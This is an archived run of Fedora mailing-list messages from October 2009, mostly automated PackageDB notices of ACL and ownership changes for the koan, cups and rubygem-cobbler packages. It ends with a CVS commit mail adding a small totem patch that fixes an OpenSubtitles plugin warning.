Date: Tue, 20 Oct 2009 14:59:37 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145938.0238110F8BC@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 7) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:40 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145940.9CD0110F908@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:42 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145942.2A9B610F8C4@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:44 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145944.5776110F90D@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 5) to Obsolete for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:43 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145943.411F710F90A@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 5) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:46 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145946.B59D510F8C6@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:47 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145947.C100810F911@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:48 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145948.CD90010F90E@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 5) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:51 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145953.0AF4610F919@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 6) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:53 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145953.6199110F918@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 6) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:53 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145954.14E8710F91B@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 6) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:55 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145955.1919B10F920@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 6) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:56 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145956.3328F10F8D2@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 6) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:57 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145957.624E010F924@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 6) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:59:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:59:59 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020145959.E49AD10F8D7@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 8) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:00 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150000.D667E10F926@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:02 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150002.9375E10F927@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 8) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:04 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150004.5937E10F92E@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:04 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150005.046AF10F931@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:05 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150006.9050210F93C@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 8) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:08 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150008.EAB3A10F938@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 9) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:09 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150010.0861710F93E@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 9) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:11 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150012.CDCDB10F94A@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:13 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150013.4041610F941@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:13 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150013.BB20010F951@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:16 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150017.0F6C610F95C@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 10) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:17 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150017.9AE1910F95E@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:18 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150018.DC2BE10F965@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 10) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:19 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150019.54B6F10F967@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:19 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150019.D230510F96A@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:19 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150019.DEC9210F96C@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 9) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:22 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150022.5586110F96E@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 10) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:25 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150025.F2A4310F973@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 11) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:25 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150026.0E1D110F975@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 11) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:27 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150028.1B1A110F97C@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:27 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150028.26A3B10F97D@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:29 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150029.D7E6710F97F@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:34 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150034.0422710F983@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 12) to Obsolete for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:36 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150037.00D5A10F8B1@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 11) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:36 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150037.5122710F985@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:37 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150037.9D03910F98E@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 12) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:39 +0000
Subject: [pkgdb] cups: jpopelka has requested watchbugzilla
Message-ID: <20091020150039.C959210F980@bastion2.fedora.phx.redhat.com>

jpopelka has requested the watchbugzilla acl on cups (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cups



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:39 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150039.D17A110F981@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on koan (Fedora 12) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:40 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150040.C37D010F98F@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on koan (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:43 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150046.ED26610F8F5@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on koan (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:00:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:00:55 +0000
Subject: [pkgdb] koan had acl change status
Message-ID: <20091020150055.10CFB10F8FB@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on koan (Fedora 12) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:38 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150139.06FFE10F8C0@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 5 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:40 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150140.9D37710F8C3@bastion2.fedora.phx.redhat.com>

Package koan in Fedora EPEL 4 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:40 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150140.D191C10F8C7@bastion2.fedora.phx.redhat.com>

Package koan in Fedora EPEL 5 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:44 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150144.D4CE510F8CD@bastion2.fedora.phx.redhat.com>

Package koan in Fedora devel is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:46 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150146.A4FED10F8D1@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 8 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:49 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150149.CEC9410F8F4@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 6 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:53 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150153.1E35F10F8FE@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 12 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:54 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150154.8038E10F901@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 9 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:55 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150155.7D1A510F904@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 7 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:56 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150156.D9DAE10F908@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 10 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:01:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:01:58 +0000
Subject: [pkgdb] koan ownership updated
Message-ID: <20091020150158.F1B5510F90C@bastion2.fedora.phx.redhat.com>

Package koan in Fedora 11 is now owned by jeckersb

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 15:02:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:02:36 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150236.5AD2F10F8DA@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on rubygem-cobbler (Fedora devel) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:02:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:02:37 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150238.252BA10F911@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on rubygem-cobbler (Fedora devel) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:02:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:02:39 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150239.6FA4310F8DB@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on rubygem-cobbler (Fedora devel) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:02:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:02:40 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150240.F41B210F8AD@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on rubygem-cobbler (Fedora devel) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:02:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:02:42 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150242.B8C3710F914@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on rubygem-cobbler (Fedora 9) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:03:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:03:14 +0000
Subject: [pkgdb] cups had acl change status
Message-ID: <20091020150314.79F8010F915@bastion2.fedora.phx.redhat.com>

twaugh has set the watchbugzilla acl on cups (Fedora 10) to Approved for jpopelka

To make changes to this package see:
  /pkgdb/packages/name/cups



From pkgdb at fedoraproject.org  Tue Oct 20 15:03:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:03:19 +0000
Subject: [pkgdb] cups had acl change status
Message-ID: <20091020150319.5E1F310F917@bastion2.fedora.phx.redhat.com>

twaugh has set the watchcommits acl on cups (Fedora 10) to Approved for jpopelka

To make changes to this package see:
  /pkgdb/packages/name/cups



From pkgdb at fedoraproject.org  Tue Oct 20 15:03:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:03:23 +0000
Subject: [pkgdb] cups had acl change status
Message-ID: <20091020150323.ACB5010F8E0@bastion2.fedora.phx.redhat.com>

twaugh has set the commit acl on cups (Fedora 10) to Approved for jpopelka

To make changes to this package see:
  /pkgdb/packages/name/cups



From hadess at fedoraproject.org  Tue Oct 20 15:05:03 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 15:05:03 +0000 (UTC)
Subject: rpms/totem/F-11 opensub-fix-warning.patch, NONE, 1.1 totem.spec,
	1.249, 1.250
Message-ID: <20091020150503.D518111C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28629

Modified Files:
	totem.spec 
Added Files:
	opensub-fix-warning.patch 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-3
- Fix warning when using OpenSubtitles plugin (#497210)


opensub-fix-warning.patch:
 opensubtitles.py |    9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

--- NEW FILE opensub-fix-warning.patch ---
>From 5a1b3c0fe2c23e7993d6880efde2bfc08bde1e5c Mon Sep 17 00:00:00 2001
From: Philip Withnall <philip at tecnocode.co.uk>
Date: Sun, 19 Jul 2009 22:51:41 +0000
Subject: Small UI and compatibility fixes to the OpenSubtitles plugin

2009-07-19  Philip Withnall  <philip at tecnocode.co.uk>

	* src/plugins/opensubtitles/opensubtitles.py:
	* src/plugins/opensubtitles/opensubtitles.ui: Fixed underlines in the
	OpenSubtitles interface, and removed use of a GLib 2.18-only function
---
diff --git a/src/plugins/opensubtitles/opensubtitles.py b/src/plugins/opensubtitles/opensubtitles.py
index 3c5c3bc..08f52ea 100644
--- a/src/plugins/opensubtitles/opensubtitles.py
+++ b/src/plugins/opensubtitles/opensubtitles.py
@@ -4,7 +4,7 @@ gobject.threads_init()
 import xmlrpclib
 import threading
 import xdg.BaseDirectory
-from os import sep
+from os import sep, path, mkdir
 import gettext
 import pango
 
@@ -517,7 +517,12 @@ class OpenSubtitles(totem.Plugin):
             if not filename:
                 directory = gio.File(xdg.BaseDirectory.xdg_cache_home + sep + 'totem' + sep + 'subtitles' + sep) 
                 if not directory.query_exists():
-                    directory.make_directory_with_parents()
+                    if not path.exists (xdg.BaseDirectory.xdg_cache_home + sep + 'totem' + sep):
+                        mkdir (xdg.BaseDirectory.xdg_cache_home + sep + 'totem' + sep)
+                    if not path.exists (xdg.BaseDirectory.xdg_cache_home + sep + 'totem' + sep + 'subtitles' + sep):
+                        mkdir (xdg.BaseDirectory.xdg_cache_home + sep + 'totem' + sep + 'subtitles' + sep)
+                    # FIXME: We can't use this function until we depend on GLib (PyGObject) 2.18
+                    # directory.make_directory_with_parents()
 
                 file = gio.File(self.filename)
                 movie_name = file.get_basename().rpartition('.')[0]


Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/totem.spec,v
retrieving revision 1.249
retrieving revision 1.250
